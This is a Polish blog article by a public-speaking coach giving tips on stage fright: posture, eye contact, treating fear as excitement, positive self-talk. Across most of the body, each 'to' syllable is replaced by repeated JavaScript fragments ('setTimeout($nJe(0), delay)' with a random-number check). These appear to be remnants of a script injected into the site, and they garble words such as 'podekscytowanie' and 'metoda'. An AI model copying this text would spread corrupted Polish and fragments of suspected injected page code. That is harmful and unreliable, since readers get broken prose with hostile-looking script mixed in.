Jak radzić sobie z tremą w czasie wystąpienia

Z tego artykułu dowiesz się jak opanować tremę podczas wystąpienia.

1. przejdź do swojego miejsca krokiem pewnym, zdecydowanym
2. wyprostuj się
3. nie zaczynaj mówić od razu, policz w myślach do trzech
4. uśmiechnij się (łatwo powiedzieć 🙂

Skoncentruj się na widowni, nie na sobie. Nie myśl o sobie za dużo, nie wsłuchuj się w swój głos. Kieruj swą uwagę na widownię. Wybierz sobie jedną osobę, do której będziesz mówić, potem kolejną itd. Pamiętaj o kontakcie wzrokowym ze słuchaczami. Załóż, że są do Ciebie przyjaźnie nastawieni. To pomaga. Tym bardziej, że według badań aż 98 proc. widowni jest przekonana, że mówcy pójdzie bardzo dobrze!

Nie mów o swoim zdenerwowaniu i stresie. Oczywiście możesz dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zrobić jeśli da Ci dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ulgę. Czasami tak jest, że gdy wyrzucimy z siebie emocje dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nam pomaga. Sprawdź czy u Ciebie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zadziała. Pamiętaj o tym, że zewnętrzne objawy Twojego zdenerwowania nie są tak bardzo widoczne jak myślisz. Czy po wystąpieniu zdarzyło Ci się, że współpracownicy powiedzieli: – Ty masz nerwy! W ogólne nie wyglądałeś na zdenerwowanego! Myślisz, że chcieli być dla Ciebie mili? Nie. Po prostu nie zauważyli żadnych oznak stresu. Jaki można wyciągnąć z tego wniosek? To, że dopadła Cie trema, niekoniecznie musi być widoczne dla innych. Unikaj zatem błędnego koła: denerwuję się – myślę o tym, że się denerwuję – wtedy denerwuję się jeszcze bardziej.

Zamień negatywny stres na pozytywne podekscydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie. Dobrze wykorzystuj reakcję Twojego organizmu. Własne przerażenie zamień na pozytywną energię. Nie mów „boję się” ale „jestem podekscydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany”! Tak naprawdę są dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to takie same doznania, różnią się jedynie okolicznościami w jakich je przeżywamy. Przed wystąpieniem publicznym czujesz strach a przed jazdą kolejką w wesołym miasteczku podekscydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie. Jakie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ma znaczenie dla Ciebie jako mówcy? Tuż przed lub w trakcie przemawiania przywołaj pozytywne okoliczności gdy czułeś dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to samo!

Nie kracz. Nie mów do siebie: jestem beznadziejny, co ja tutaj robię, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to będzie klapa itp. To jak z samospełniającym się proroctwem, będzie tak jak myślisz. Zatem myśl pozytywnie: jestem doskonały, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to będzie super przemówienie, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dla mnie ogromna szansa!

Wystąpienia publiczne rządzą się swoimi prawami. Nawet jak jakaś przedstawiona przeze mnie medom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toda na pierwszy rzut oka wydała Ci się nie do zasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowania, proszę Cię wypróbuj ją. Może okaże się skuteczna?

Robert WarzyńskiO autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT.

Wpis Ci się podobał?

Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!

Leave a Reply